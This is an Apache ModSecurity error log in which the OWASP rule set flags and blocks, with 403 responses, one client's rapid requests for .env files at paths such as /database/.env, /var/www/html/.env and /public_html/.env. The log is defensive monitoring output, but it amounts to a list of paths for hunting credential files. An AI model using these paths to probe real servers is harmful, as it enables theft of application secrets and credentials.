[Sat Oct 24 06:02:32.706198 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "atyCODOT1ZsOoHahaDY-eQAAAAY"]
[Sat Oct 24 06:02:32.791266 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /database/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "atyCODOT1ZsOoHahaDY-egAAAAY"]
[Sat Oct 24 06:02:32.791501 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "atyCODOT1ZsOoHahaDY-egAAAAY"]
[Sat Oct 24 06:02:32.791823 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "atyCODOT1ZsOoHahaDY-egAAAAY"]
[Sat Oct 24 06:02:32.875315 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "atyCODOT1ZsOoHahaDY-ewAAAAY"]
[Sat Oct 24 06:02:32.875574 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "atyCODOT1ZsOoHahaDY-ewAAAAY"]
[Sat Oct 24 06:02:32.875896 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "atyCODOT1ZsOoHahaDY-ewAAAAY"]
[Sat Oct 24 06:02:32.961577 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "atyCODOT1ZsOoHahaDY-fAAAAAY"]
[Sat Oct 24 06:02:32.961830 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "atyCODOT1ZsOoHahaDY-fAAAAAY"]
[Sat Oct 24 06:02:32.962166 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "atyCODOT1ZsOoHahaDY-fAAAAAY"]
[Sat Oct 24 06:02:32.962223 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "www.wapi1.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "atyCODOT1ZsOoHahaDY-fAAAAAY"]
[Sat Oct 24 06:02:32.962237 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "www.wapi1.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "atyCODOT1ZsOoHahaDY-fAAAAAY"]
[Sat Oct 24 06:02:33.057721 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-fQAAAAY"]
[Sat Oct 24 06:02:33.057975 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-fQAAAAY"]
[Sat Oct 24 06:02:33.058299 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-fQAAAAY"]
[Sat Oct 24 06:02:33.144940 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /current/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-fgAAAAY"]
[Sat Oct 24 06:02:33.145174 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-fgAAAAY"]
[Sat Oct 24 06:02:33.145552 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-fgAAAAY"]
[Sat Oct 24 06:02:33.239900 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /release/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-fwAAAAY"]
[Sat Oct 24 06:02:33.240138 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-fwAAAAY"]
[Sat Oct 24 06:02:33.240447 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-fwAAAAY"]
[Sat Oct 24 06:02:33.327234 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /releases/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-gAAAAAY"]
[Sat Oct 24 06:02:33.327489 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-gAAAAAY"]
[Sat Oct 24 06:02:33.327898 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-gAAAAAY"]
[Sat Oct 24 06:02:33.417130 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-gQAAAAY"]
[Sat Oct 24 06:02:33.417359 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-gQAAAAY"]
[Sat Oct 24 06:02:33.417739 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-gQAAAAY"]
[Sat Oct 24 06:02:33.502937 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-ggAAAAY"]
[Sat Oct 24 06:02:33.503215 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-ggAAAAY"]
[Sat Oct 24 06:02:33.503526 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-ggAAAAY"]
[Sat Oct 24 06:02:33.604229 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /build/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-gwAAAAY"]
[Sat Oct 24 06:02:33.604499 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-gwAAAAY"]
[Sat Oct 24 06:02:33.604832 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-gwAAAAY"]
[Sat Oct 24 06:02:33.692625 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dist/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-hAAAAAY"]
[Sat Oct 24 06:02:33.692875 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-hAAAAAY"]
[Sat Oct 24 06:02:33.693198 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-hAAAAAY"]
[Sat Oct 24 06:02:33.791379 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public_html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-hQAAAAY"]
[Sat Oct 24 06:02:33.791809 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-hQAAAAY"]
[Sat Oct 24 06:02:33.792273 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-hQAAAAY"]
[Sat Oct 24 06:02:33.890839 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /htdocs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-hgAAAAY"]
